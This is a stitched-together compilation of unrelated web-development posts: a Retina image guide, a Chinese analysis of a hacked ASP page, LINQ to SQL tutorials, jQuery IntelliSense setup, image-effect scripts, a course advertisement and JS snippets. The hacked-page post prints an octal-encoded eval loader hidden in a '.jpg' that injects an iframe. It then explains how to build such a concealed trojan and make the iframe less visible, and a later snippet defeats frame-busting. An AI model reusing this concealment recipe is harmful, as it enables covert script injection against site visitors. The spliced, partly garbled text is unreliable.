Apple’s newest devices feature the Retina Display, a screen that packs double as many pixels into the same space as older devices. For designers this immediately brings up the question, “What can I do to make my content look outstanding on these new iPads and iPhones?”. First there are a few tough questions to consider, but then this guide will help you get started making your websites and web apps look amazingly sharp with Retina images!
Things to Consider When Adding Retina Images
The main issue with adding retina images is that the images are double as large and will take up extra bandwidth (this won’t be an issue for actual iOS apps, but this guide is covering web sites & web apps only). If your site is mostly used on-the-go over a 3G network it may not be wise to make all your graphics high-definition, but maybe choose only a select few important images. If you’re creating something that will be used more often on a WI-FI connection or have an application that is deserving of the extra wait for hi-res graphics these steps below will help you target only hi-res capable devices.
Simple Retina Images
The basic concept of a Retina image is that your taking a larger image, with double the amount of pixels that your image will be displayed at (e.g 200 x 200 pixels), and setting the image to fill half of that space (100 x 100 pixels). This can be done manually by setting the height and width in HTML to half the size of your image file.
<img src="my200x200image.jpg" width="100" height="100">
If you’d like to do something more advanced keep reading below for how you can apply this technique using scripting.
Creating Retina Icons for Your Website
When users add your website or web app to their homescreen it will be represented by an icon. These sizes for regular and Retina icons (from Apple) are as follows:
| iPhone | 57 x 57 |
|---|---|
| Retina iPhone | 114 x 114 |
| iPad | 72 x 72 |
| Retina iPad | 144 x 144 |
For each of these images you create you can link them in the head of your document like this (if you want the device to add the round corners remove -precomposed):
<link href="touch-icon-iphone.png" rel="apple-touch-icon-precomposed" />
<link href="touch-icon-ipad.png" rel="apple-touch-icon-precomposed" sizes="72x72" />
<link href="touch-icon-iphone4.png" rel="apple-touch-icon-precomposed" sizes="114x114" />
<link href="touch-icon-ipad3.png" rel="apple-touch-icon-precomposed" sizes="144x144" />
If the correct size isn’t specified the device will use the smallest icon that is larger than the recommended size (i.e. if you left out the 114px the iPhone 4 would use the 144px icon).
Retina Background Images
Background images that are specified in your CSS can be swapped out using media queries. You’ll first want to generate two versions of each image. For example ‘bgPattern.png’ at 100px x 100px and ‘bgPattern@2x.png’ at 200px x 200px. It will be useful to have a standard naming convention such as adding @2x for these retina images. To add the new @2x image to your site simply add in the media query below (You can add any additional styles that have background images within the braces of the same media query):
.repeatingPattern {
background: url(../images/bgPattern.png) repeat;
background-size: 100px 100px;
}
@media only screen and (-webkit-min-device-pixel-ratio: 2) {
.repeatingPattern {
background: url(../images/bgPattern@2x.png) repeat;
}
}
JavaScript for Retina Image Replacement
For your retina images that aren’t backgrounds the best option seems to be either creating graphics with CSS, using SVG, or replacing your images with JavaScript. Just like the background images, you’ll want to create a normal image and one ‘@2x’ image. Then with JavaScript you can detect if the pixel ratio of the browser is 2x, just like you did with the media query:
if (window.devicePixelRatio == 2) {
//Replace your img src with the new retina image
}
If you’re using jQuery you could quickly replace all your images like this very basic example below. It’s a good idea to add a class to identify the images with hi-res versions so you don’t replace any others by mistake. I’ve added a class=”hires” for this example. Also make sure you have the standard (non-retina) image height and width set in the HTML:
<img class="hires" alt="" src="search.png" width="100" height="100" />
<script type="text/javascript">
$(function () {
if (window.devicePixelRatio == 2) {
var images = $("img.hires");
// loop through the images and make them hi-res
for(var i = 0; i < images.length; i++) {
// create new image name
var imageType = images[i].src.substr(-4);
var imageName = images[i].src.substr(0, images[i].src.length - 4);
imageName += "@2x" + imageType;
//rename image
images[i].src = imageName;
}
}
});
</script>
Server-Side Retina Images
If you’d like to implement a server-side retina image solution, I recommend checking out Jeremy Worboys’ Retina Images (which he also posted in the comments below). His solution uses PHP code to determine which image should be served. The benefit of this solution is that it doesn’t have to replace the small image with the retina one so you’re using less bandwidth, especially if you have lots of images that you’re replacing.
Website Optimization for Retina Displays
If you’re looking for additional information on creating Retina images, I’ve recently had a short book published called Website Optimization for Retina Displays that covers a range of related topics. It contains some of what is above, but also includes samples for many different situations for adding Retina images. It explains the basics of creating Retina images, backgrounds, sprites, and borders. Then it talks about using media queries, creating graphics with CSS, embedding fonts, creating app icons, and more tips for creating Retina websites.
今天访问某 asp 网站时发现不对劲，一看源文件原来网页被挂马了，仔细查看源代码发现：
<script>document.write("<scri");</script>pt src="images/banner.jpg"></script>
这段代码调用了 banner.jpg 这个 js 文件。用记事本打开这个文件发现以下内容：（木马内容已替换成安全内容）
eval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\170\157\171\157\172\157\56\155\145\76\74\57\151\146\162\141\155\145\76\47\51")
代码非常整齐，立刻怀疑是 ascii 码的八进制代码。于是解码之，就看到了：（木马内容已替换成安全内容）
document.write('<iframe src=https://xoyozo.net></iframe>')
至此，整个流程已非常清晰了。
八进制转化为十进制
var a = '144'; alert(parseInt(a, 8)); // 输出为 100
十进制转化为八进制
var a = 100; alert(a.toString(8)); // 输出为 144
ASCII 码转化为字符
var a = 100; alert(String.fromCharCode(a)); // 输出为 d
字符转化为 ASCII 码
var a = "d"; alert(a.charCodeAt(a)); // 输出为 100
如果用 alert 直接输出编码后的代码，看到的却是原码，下面提供HTML编码和解码：
function HTMLEncode(input) {
var converter = document.createElement("DIV");
converter.innerText = input;
var output = converter.innerHTML;
converter = null;
return output;
}
function HTMLDecode(input) {
var converter = document.createElement("DIV");
converter.innerHTML = input;
var output = converter.innerText;
converter = null;
return output;
}
您可以比较一下区别：
var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
document.write(a);
var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
document.write(HTMLEncode(a));
现在完全可以实现宿主页面执行嵌套 iframe 的效果了。如果需要更隐蔽，可以给 <iframe/> 加上尺寸属性。下面一起来制作一个简单的木马：把
document.write('<iframe src=https://xoyozo.net></iframe>')
编码为
\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\170\157\171\157\172\157\56\155\145\76\74\57\151\146\162\141\155\145\76\47\51
的代码为
var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
var b = "";
for (var i = 0; i < a.length; i++) {
b += "\\" + a.charCodeAt(i).toString(8);
}
document.write(HTMLEncode(b));
然后加上 eval() 方法，保存为 .jpg 文件，再通过文章开始介绍的方法调用就行了。
在使用jQuery时，VS2008有提供整合jQuery IntelliSense，
这样在写jQuery时更简单容易，
设定的方式如下:
安装VS2008 sp1 (已经安装过就可以跳过此步骤)
安装 hotfix 让VS2008 可以自动去读取 “-vsdoc.js”来提供Javascript Lib 的 InterlliSense
下载 jQuery-1.3.2.min.js 以及 jQuery-1.3.2-vsdoc2.js
将 jQuery-1.3.2.min.js 重新命名为 jQuery-1.3.2.js
将 jQuery-1.3.2-vsdoc2.js 重新命名为 jQuery-1.3.2-vsdoc.js
将 jQuery-1.3.2.js 以及 jQuery-1.3.2-vsdoc.js 加入到专桉裡
在vs2008编辑Javascript时，点选 "编辑”/“IntelliSense”/”更新JScript IntelliSense”
结果 左下角显示 " 更新JScript IntelliSense 时发生错误，请参阅错误清单”
错误内容为 "'div.childNodes' 是 null 或不是一个物件"
请打开 jQuery-1.3.2-vsdoc.js
将其中一段
elem = jQuery.makeArray( div.childNodes );if (div && div.childNodes) elem = jQuery.makeArray( div.childNodes );完工
补充: 步骤2 的hotfix 可以选择性安装，如果没有安装的话，必须自己在页面加上
<script src="Js/jquery-1.3.2-vsdoc.js" type="text/javascript"></script>建议是安装，这样就不用每次使用都要加上 -vsdoc.js
另外分享几个小技巧
如果要在 js档 裡面使用 IntelliSense 的话，可以加上这行
/// <reference path="~/js/jquery-1.3.2.js" /><% if(false) { %>
<script src="js/jquery-1.3.2.js" type="text/javascript"></script>
<% } %>我们继续讲解LINQ to SQL语句，这篇我们来讨论Group By/Having操作符和Exists/In/Any/All/Contains操作符。
Group By/Having操作符
适用场景：分组数据，为我们查找数据缩小范围。
说明：分配并返回对传入参数进行分组操作后的可枚举对象。分组；延迟
1.简单形式：
var q =
from p in db.Products
group p by p.CategoryID into g
select g;
语句描述：使用Group By按CategoryID划分产品。
说明：from p in db.Products 表示从表中将产品对象取出来。group p by p.CategoryID into g表示对p按CategoryID字段归类。其结果命名为g，一旦重新命名，p的作用域就结束了，所以，最后select时，只能select g。当然，也不必重新命名可以这样写：
var q =
from p in db.Products
group p by p.CategoryID;
我们用示意图表示：
如果想遍历某类别中所有记录，这样：
foreach (var gp in q)
{
if (gp.Key == 2)
{
foreach (var item in gp)
{
//do something
}
}
}
2.Select匿名类：
var q =
from p in db.Products
group p by p.CategoryID into g
select new { CategoryID = g.Key, g };
说明：在这句LINQ语句中，有2个property：CategoryID和g。这个匿名类，其实质是对返回结果集重新进行了包装。把g的property封装成一个完整的分组。如下图所示：
如果想遍历某匿名类中所有记录，要这么做：
foreach (var gp in q)
{
if (gp.CategoryID == 2)
{
foreach (var item in gp.g)
{
//do something
}
}
}
3.最大值
var q =
from p in db.Products
group p by p.CategoryID into g
select new {
g.Key,
MaxPrice = g.Max(p => p.UnitPrice)
};
语句描述：使用Group By和Max查找每个CategoryID的最高单价。
说明：先按CategoryID归类，判断各个分类产品中单价最大的Products。取出CategoryID值，并把UnitPrice值赋给MaxPrice。
4.最小值
var q =
from p in db.Products
group p by p.CategoryID into g
select new {
g.Key,
MinPrice = g.Min(p => p.UnitPrice)
};
语句描述：使用Group By和Min查找每个CategoryID的最低单价。
说明：先按CategoryID归类，判断各个分类产品中单价最小的Products。取出CategoryID值，并把UnitPrice值赋给MinPrice。
5.平均值
var q =
from p in db.Products
group p by p.CategoryID into g
select new {
g.Key,
AveragePrice = g.Average(p => p.UnitPrice)
};
语句描述：使用Group By和Average得到每个CategoryID的平均单价。
说明：先按CategoryID归类，取出CategoryID值和各个分类产品中单价的平均值。
6.求和
var q =
from p in db.Products
group p by p.CategoryID into g
select new {
g.Key,
TotalPrice = g.Sum(p => p.UnitPrice)
};
语句描述：使用Group By和Sum得到每个CategoryID 的单价总计。
说明：先按CategoryID归类，取出CategoryID值和各个分类产品中单价的总和。
7.计数
var q =
from p in db.Products
group p by p.CategoryID into g
select new {
g.Key,
NumProducts = g.Count()
};
语句描述：使用Group By和Count得到每个CategoryID中产品的数量。
说明：先按CategoryID归类，取出CategoryID值和各个分类产品的数量。
8.带条件计数
var q =
from p in db.Products
group p by p.CategoryID into g
select new {
g.Key,
NumProducts = g.Count(p => p.Discontinued)
};
语句描述：使用Group By和Count得到每个CategoryID中断货产品的数量。
说明：先按CategoryID归类，取出CategoryID值和各个分类产品的断货数量。 Count函数里，使用了Lambda表达式，Lambda表达式中的p，代表这个组里的一个元素或对象，即某一个产品。
9.Where限制
var q =
from p in db.Products
group p by p.CategoryID into g
where g.Count() >= 10
select new {
g.Key,
ProductCount = g.Count()
};
语句描述：根据产品的―ID分组，查询产品数量大于10的ID和产品数量。这个示例在Group By子句后使用Where子句查找所有至少有10种产品的类别。
说明：在翻译成SQL语句时，在最外层嵌套了Where条件。
10.多列(Multiple Columns)
var categories =
from p in db.Products
group p by new
{
p.CategoryID,
p.SupplierID
}
into g
select new
{
g.Key,
g
};
语句描述：使用Group By按CategoryID和SupplierID将产品分组。
说明： 既按产品的分类，又按供应商分类。在by后面，new出来一个匿名类。这里，Key其实质是一个类的对象，Key包含两个Property：CategoryID、SupplierID。用g.Key.CategoryID可以遍历CategoryID的值。
11.表达式(Expression)
var categories =
from p in db.Products
group p by new { Criterion = p.UnitPrice > 10 } into g
select g;
语句描述：使用Group By返回两个产品序列。第一个序列包含单价大于10的产品。第二个序列包含单价小于或等于10的产品。
说明：按产品单价是否大于10分类。其结果分为两类，大于的是一类，小于及等于为另一类。
Exists/In/Any/All/Contains操作符
适用场景：用于判断集合中元素，进一步缩小范围。
Any
说明：用于判断集合中是否有元素满足某一条件；不延迟。（若条件为空，则集合只要不为空就返回True，否则为False）。有2种形式，分别为简单形式和带条件形式。
1.简单形式：
仅返回没有订单的客户：
var q =
from c in db.Customers
where !c.Orders.Any()
select c;
生成SQL语句为：
SELECT [t0].[CustomerID], [t0].[CompanyName], [t0].[ContactName],
[t0].[ContactTitle], [t0].[Address], [t0].[City], [t0].[Region],
[t0].[PostalCode], [t0].[Country], [t0].[Phone], [t0].[Fax]
FROM [dbo].[Customers] AS [t0]
WHERE NOT (EXISTS(
SELECT NULL AS [EMPTY] FROM [dbo].[Orders] AS [t1]
WHERE [t1].[CustomerID] = [t0].[CustomerID]
))
2.带条件形式：
仅返回至少有一种产品断货的类别：
var q =
from c in db.Categories
where c.Products.Any(p => p.Discontinued)
select c;
生成SQL语句为：
SELECT [t0].[CategoryID], [t0].[CategoryName], [t0].[Description],
[t0].[Picture] FROM [dbo].[Categories] AS [t0]
WHERE EXISTS(
SELECT NULL AS [EMPTY] FROM [dbo].[Products] AS [t1]
WHERE ([t1].[Discontinued] = 1) AND
([t1].[CategoryID] = [t0].[CategoryID])
)
All
说明：用于判断集合中所有元素是否都满足某一条件；不延迟
1.带条件形式
var q =
from c in db.Customers
where c.Orders.All(o => o.ShipCity == c.City)
select c;
语句描述：这个例子返回所有订单都运往其所在城市的客户或未下订单的客户。
Contains
说明：用于判断集合中是否包含有某一元素；不延迟。它是对两个序列进行连接操作的。
string[] customerID_Set =
new string[] { "AROUT", "BOLID", "FISSA" };
var q = (
from o in db.Orders
where customerID_Set.Contains(o.CustomerID)
select o).ToList();
语句描述：查找"AROUT", "BOLID" 和 "FISSA" 这三个客户的订单。 先定义了一个数组，在LINQ to SQL中使用Contains，数组中包含了所有的CustomerID，即返回结果中，所有的CustomerID都在这个集合内。也就是in。 你也可以把数组的定义放在LINQ to SQL语句里。比如：
var q = (
from o in db.Orders
where (
new string[] { "AROUT", "BOLID", "FISSA" })
.Contains(o.CustomerID)
select o).ToList();
Not Contains则取反：
var q = (
from o in db.Orders
where !(
new string[] { "AROUT", "BOLID", "FISSA" })
.Contains(o.CustomerID)
select o).ToList();
1.包含一个对象：
var order = (from o in db.Orders
where o.OrderID == 10248
select o).First();
var q = db.Customers.Where(p => p.Orders.Contains(order)).ToList();
foreach (var cust in q)
{
foreach (var ord in cust.Orders)
{
//do something
}
}
语句描述：这个例子使用Contain查找哪个客户包含OrderID为10248的订单。
2.包含多个值：
string[] cities =
new string[] { "Seattle", "London", "Vancouver", "Paris" };
var q = db.Customers.Where(p=>cities.Contains(p.City)).ToList();
语句描述：这个例子使用Contains查找其所在城市为西雅图、伦敦、巴黎或温哥华的客户。
总结一下这篇我们说明了以下语句：
| Group By/Having | 分组数据；延迟 |
| Any | 用于判断集合中是否有元素满足某一条件；不延迟 |
| All | 用于判断集合中所有元素是否都满足某一条件；不延迟 |
| Contains | 用于判断集合中是否包含有某一元素；不延迟 |
本系列链接：LINQ体验系列文章导航
LINQ推荐资源
LINQ专题：http://kb.cnblogs.com/zt/linq/ 关于LINQ方方面面的入门、进阶、深入的文章。
LINQ小组：http://space.cnblogs.com/group/linq/ 学习中遇到什么问题或者疑问提问的好地方。
SyntaxHighlighter is here to help a developer/coder to post code snippets online with ease and have it look pretty. It's 100% Java Script based and it doesn't care what you have on your server.
一般来说，我们在写博客或做网站时都需要对插图做一些效果，比如增加阴影、图片圆角、倒映等等。这些效果一般可以用3个方法实现，一是用PS实现对图片进行修改，二是使用CSS，三是使用JavaScript。使用PS会破坏原图，而且要花费一定的时间。Netzgesta上有很多实现图片特效的JavaScript提供下载，很多效果都是相当漂亮的。
1、水倒映
这个js将为图片添加水倒映的特效，时下web2.0站点很喜欢这种效果。
如果你喜欢在线生成水倒映效果，可以参考这里。
2、圆角+阴影
或许你记得用RoundPic能在线生成圆角图片，事实上用这个js也可以实现效果。
3、高光圆角阴影
这个效果可以用来做按钮。是我最喜欢的特效之一。
4、斜光阴影效果
和上面的效果看起来非常相似，但也有不同的地方。
5、相框效果
如果你在做图片博客，可以你会喜欢这个js，使用后博客文章内的图片都有相框的效果。
6、黑色相框
不喜欢白色没有立体感的相框，那试试这个立体感充足的js效果吧。
7、放大镜
一个很有趣的js，实现放大镜效果。记得在去年Google开发者日的时候，某个主讲人也有说到在GMaps里实现放大镜的有趣效果。具体效果点击这里。
8、菲林效果
如果你在写一个电影博客，这个效果或许会让你喜欢。
9、花边效果
很简单的图片花边效果。
10、翻页效果
翻页效果是很常见的，Google一下你会发现有很多相关的教程，如果你不想花时间去学，直接下载这个js吧。
安装使用方法：
将下载的压缩包解压之后上传到网站空间，然后在需要显示效果的head里添加代码，比如高光阴影效果Glossy，添加的代码是：
<script type="text/javascript" src="glossy.js"></script>
对于Wordpress，可以在header.php里添加。如果只要求文章页里出现效果，也可以考虑在single.php里添加。
然后，在想要显示特效的图片的<img>标记里添加：
class="glossy"
这样效果就出现了。
其它效果添加方法类似。
via BlogOhblog。
下载地址（eMule）:http://www.verycd.com/topics/69331/
中文名称：张孝祥IT课堂－JavaScript教学视频录像
地区：大陆
语言：普通话
简介：
张孝祥IT课堂－JavaScript教学视频录像
隆重发行
经过张孝祥老师三个月的潜心制作，《张孝祥IT课堂－JavaScript教学视频录像》终于面世了。新版的《张孝祥IT课堂－JavaScript教学视频录像》 秉承《张孝祥IT课堂－Java教学视频录像（高级篇）》身临其境的手把手教学风格，并且采用了高效数字编码算法和全新的多媒体播放器，图象更清晰、操作更方便，最直观地让学员身临其境地学习和感受编程的乐趣，更能体会张孝祥老师授课的震撼力和穿透力。
光盘的内容:本教程结合大量应用实例，详细地讲解了HTML语言、CSS、JavaScript、DOM对象模型编程、正则表达式，并介绍了网页脚本编程的其它相关技术和知识，例如，VBScript、NetScape控件、ActiveX控件、Java Applet小程序等。本书力求在不减少知识信息量的情况下，能够把书写薄，同时又能把问题说透，让读者能够迅速上手，尽最大可能地扩展读者的知识面，启发读者自我思考和学习的能力，让读者感受到技术学习所带来的快乐。本教程主要面向网站开发人员，也适于普通前端网页设计人员阅读。考虑到适应实际工作中的不仅仅需要编程语言本身，还要有一些计算机相关的周边知识的特点，所以，本教程从原理和细节上着手,让读者对一些专业术语透彻理解，尽最大程度扩展读者的知识面。本教程强调用最短的时间和最浅显易懂的例子说明问题，启发读者思考和自我解决问题的能力，以知识够用为原则，重视学会的本质，能让读者做一些基本的应用开发，碰到新问题时，能自己查阅资料独立解决，就叫学会，没有任何人能掌握一门学科的每个细节。
JavaScript教学视频录像总时间为40小时左右，为了让用户了解到更为精确的信息，本站以后不再使用光盘的张数来作为产品的度量单位，而改用视频教程的时间来度量。
说明：
javascript教程进行了部分加密，加密部分在未注册的计算机上不能播放，用户需要向我们索取注册码后对计算机进行注册，每台计算机的注册码都不一样。 如果计算机的CPU识别信息、硬盘序列号、硬盘分区、内存等这四个内容之一发生了变化，就可能导致软件认为是在另外一台计算机上运行，为此，我们可以为每个用户从购买之日算起的每年都提供三个注册码。 我们每年为用户提供三个注册码，主要是为了方便用户硬件升级或更改后能继续使用，希望大家不要随意替他人索取注册码，以免影响自己使用。
由于加密后的视频具有对计算机资源要求高、启动时间长等缺点，所以，本套视频教程采用了部分视频片段加密、部分视频片段不加密的混合方式发行。
如何理解JavaScript、Java、Jsp、J2ee之间的关系与区别
很多初学习者对JavaScript、Java、Jsp、J2ee之间的关系与区别总是感到很困惑，为了帮助大家快速理解几者之间的关系，我们进行了如下解释说明：
1. JavaScript用于编写嵌入在网页文档中的程序,它由浏览器负责解释和执行，可以在网页上产生动态的显示效果和实现与用户交互的功能，譬如，让一串文字跟着鼠标移动，让一个图标在网页漂浮移动，验证用户输入的信用卡号的格式正确与否，等等特效网页功能。
2. Java则是一种基础性的语言，学习jsp,j2ee都要有java的基础。无论你是想成为诗人，还是小说家，还是散文家，甚至就是当记者，你都要学习语文吧，Java就相当于语文、Jsp、J2ee则相当于小说、散文等。学好了语文，你能否就会有一份好的职业呢？不见得吧，但至少机会要多多了，语文学得越好，就更容易成为小说家，或是记者等等了。要想成为记者、散文家等等，没有语文是怎么都不行的。
3. jsp用于让www服务器产生出内容可以变化的网页文档和对用户提交的表单数据进行处理，例如，显示留言内容，留言内容总是在增加的，所以，传递给用户浏览器的网页文件内容是需要改变的，这就是jsp来实现的。将用户留言插入到数据库中，也是jsp来实现的。
4. j2ee用于开发大型的商业系统，例如，你在各个银行之间的取款，存款，银行之间要互通有无，执行存取款的记录操作，还要进行安全性检查，不能谁都可以来查帐，还要考虑网络断线等问题。使用j2ee，你就不用编写这些底层的细节程序代码了，而将精力集中到应用的业务流程设计上。
<INPUT onfocus="oRng=this.createTextRange();oRng.collapse(true);oRng.moveStart('character',3);oRng.select()" value=abcdefg type=text name=text1>
当焦点移至文本框时光标定位在位置3。
如果要直接定位在文本末尾，把上面的数字 3 改为 this.value.length 即可。
代码：
function check(){
s.disabled = (t1.value == '' || t2.value == '' || t3.value == '')
}
</script>
<input name="t1" onpropertychange="check();">
<input name="t2" onpropertychange="check();">
<input name="t3" onpropertychange="check();">
<input type="submit" name="s" disabled>
效果：
如何避免别人把你的网页放在框架中 <script>
<!--
if (top.location != self.location) {top.location=self.location;}
//-->
</script>
针对上述屏蔽，有以下解决方法：
<script>
<!--
var location="";
//-->
</script>
连续的英文或者一堆感叹号!!!不会自动换行的问题
只要在CSS中定义了如下句子，可保网页不会再被撑开了
table{table-layout: fixed;}
td{word-break: break-all; word-wrap:break-word;}
注释一下：
1.第一条table{table-layout: fixed;}，此样式可以让表格中有!!!(感叹号)之类的字符时自动换行。
2.td{word-break: break-all}，一般用这句这OK了，但在有些特殊情况下还是会撑开，因此需要再加上后面一句{word-wrap:break-word;}就可以解决。此样式可以让表格中的一些连续的英文单词自动换行。